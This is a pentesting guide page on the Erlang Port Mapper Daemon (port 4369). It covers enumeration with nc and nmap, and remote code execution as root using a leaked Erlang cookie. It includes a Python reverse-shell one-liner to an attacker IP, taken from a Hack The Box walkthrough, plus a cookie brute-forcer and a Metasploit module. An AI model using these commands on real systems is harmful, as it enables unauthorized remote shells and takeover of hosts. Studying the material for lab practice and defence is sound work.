# 4369 - Pentesting Erlang Port Mapper Daemon \(epmd\)

## Basic Info

The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to **keep track of which node name listens on which address**. Hence, epmd map symbolic node names to machine addresses.

**Default port**: 4369

```text
PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
```

This is used by default on RabbitMQ and CouchDB installations.

## Enumeration

### Manual

```bash
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
```

### Automatic

```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|   nodes: 
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672
```

## Erlang Cookie RCE

### Remote Connection

If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z\] with a length of 20 characters.

```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```

More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)  
The author also share a program to brutforce the cookie:

{% file src="../.gitbook/assets/epmd\_bf-0.1.tar.bz2" %}

### Local Connection

In this case we are going to abuse CouchDB to escalate privileges locally:

```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE 
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```

Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html\#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)  
You can use **Canape HTB machine to** **practice** how to **exploit this vuln**.

### Metasploit

```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```

## Shodan

* `port:4369 "at port"`